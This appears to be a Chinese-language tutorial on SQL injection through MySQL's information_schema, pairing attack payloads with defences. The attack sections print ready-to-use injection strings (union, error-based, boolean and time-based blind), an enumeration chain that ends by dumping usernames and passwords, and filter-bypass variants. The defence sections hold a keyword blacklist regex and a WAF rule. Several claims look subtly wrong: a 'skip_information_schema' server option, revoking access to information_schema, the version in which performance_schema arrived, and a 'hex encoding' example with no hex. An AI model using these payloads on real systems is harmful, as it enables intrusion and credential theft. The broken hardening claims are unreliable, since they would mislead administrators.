目录
一、information_schema的核心价值
二、攻击利用场景与示例
1. 联合查询注入(Union-Based)
2. 报错注入(Error-Based)
3. 布尔盲注(Boolean Blind)
4. 时间盲注(Time-Based)
三、攻击链中的关键步骤
四、不同MySQL版本的差异
五、防御策略与实战方案
1. 最小权限原则
2. 输入过滤与拦截
3. 数据库加固
4. WAF规则示例(ModSecurity)
六、进阶绕过技术及应对
1. 编码绕过
2. 替代元数据源
3. 基于时间的模糊探测
七、企业级防御架构
结语
一、information_schema
的核心价值
information_schema
是MySQL默认的系统数据库,存储了所有数据库的元数据信息。在SQL注入攻击中,它相当于攻击者的“地图”,用于探测目标数据库结构,具体包含以下关键表:
- TABLES:记录所有表名及所属数据库(
table_name
,table_schema
) - COLUMNS:记录所有列名及所属表(
column_name
,table_name
) - SCHEMATA:列出所有数据库名(
schema_name
) - USER_PRIVILEGES:用户权限信息
二、攻击利用场景与示例
1. 联合查询注入(Union-Based)
通过联合查询直接读取元数据:
' UNION SELECT table_name, table_schema FROM information_schema.tables WHERE table_schema=database()--
结果示例:
+------------+--------------+
| table_name | table_schema |
+------------+--------------+
| users | app_db |
| orders | app_db |
+------------+--------------+
2. 报错注入(Error-Based)
利用报错函数提取信息:
' AND extractvalue(1, concat(0x7e,(SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1,1)))--
报错输出:
XPATH syntax error: '~password'
3. 布尔盲注(Boolean Blind)
逐字符猜测表名:
' AND (SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables WHERE table_schema=database() LIMIT 1)='u'--
若页面返回正常,说明第一个表名的首字母是u
。
4. 时间盲注(Time-Based)
通过延时判断数据存在性:
' AND IF((SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())>5, SLEEP(5), 0)--
若响应延迟5秒,说明当前数据库存在超过5张表。
三、攻击链中的关键步骤
- 枚举数据库:
SELECT schema_name FROM information_schema.schemata
- 定位目标表:
SELECT table_name FROM information_schema.tables WHERE table_schema='app_db'
- 获取字段结构:
SELECT column_name FROM information_schema.columns WHERE table_name='users'
- 构造最终Payload:
UNION SELECT username, password FROM users--
四、不同MySQL版本的差异
版本范围 | information_schema 访问特性 | 注入影响 |
---|---|---|
MySQL < 5.0 | 无information_schema | 需暴力猜解表名/列名 |
MySQL 5.0-5.6 | 完整元数据访问,默认对所有用户可见 | 攻击者可完整枚举数据库结构 |
MySQL ≥ 5.7 | 引入performance_schema ,部分权限受限 | 需SELECT 权限访问元数据 |
五、防御策略与实战方案
1. 最小权限原则
- 应用账户权限配置:
CREATE USER 'webapp'@'%' IDENTIFIED BY 'SecurePass123!'; GRANT SELECT, INSERT ON app_db.users TO 'webapp'@'%'; REVOKE SELECT ON information_schema.* FROM 'webapp'@'%';
2. 输入过滤与拦截
- 黑名单过滤关键词(正则示例):
(information_schema\.(tables|columns)|schema_name\b)
- 参数化查询(Python示例):
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
3. 数据库加固
- 禁用元数据访问(需重启):
[mysqld] skip_information_schema
- 日志监控可疑查询:
SELECT * FROM mysql.general_log WHERE argument LIKE '%information_schema%';
4. WAF规则示例(ModSecurity)
SecRule ARGS "@contains information_schema" \"id:1001,phase:2,deny,msg:'SQLi detected: information_schema access'"
六、进阶绕过技术及应对
1. 编码绕过
- 十六进制编码:
UNION SELECT * FROM information_schema.`TABLES` -- 正常访问 UNION SELECT * FROM infoorrmation_schema.`TABLES` -- 双写绕过 ' UNION SELECT * FROM info%72mation_schema.tables -- URL编码
2. 替代元数据源
当information_schema
不可用时,攻击者可能尝试:
-
mysql
系统库(需更高权限):SELECT db, table_name FROM mysql.db
- 暴力猜解:
AND (SELECT COUNT(*) FROM users) > 0 -- 假设存在users表
3. 基于时间的模糊探测
IF(SUBSTR((SELECT table_name FROM information_schema.tables LIMIT 1),1,1)=CHAR(97), BENCHMARK(5000000,MD5('a')),0)
七、企业级防御架构
结语
information_schema
是SQL注入攻击的“战略要地”,防御需建立多层防线:
- 权限最小化:严格限制数据库账户权限
- 输入消毒:结合正则过滤与参数化查询
- 深度监控:实时审计敏感元数据访问行为
- 纵深防御:WAF与数据库防火墙联动防护
通过代码层、网络层、数据库层的三重加固,可有效遏制攻击者利用系统元数据实施数据泄露,将SQL注入的危害降到最低。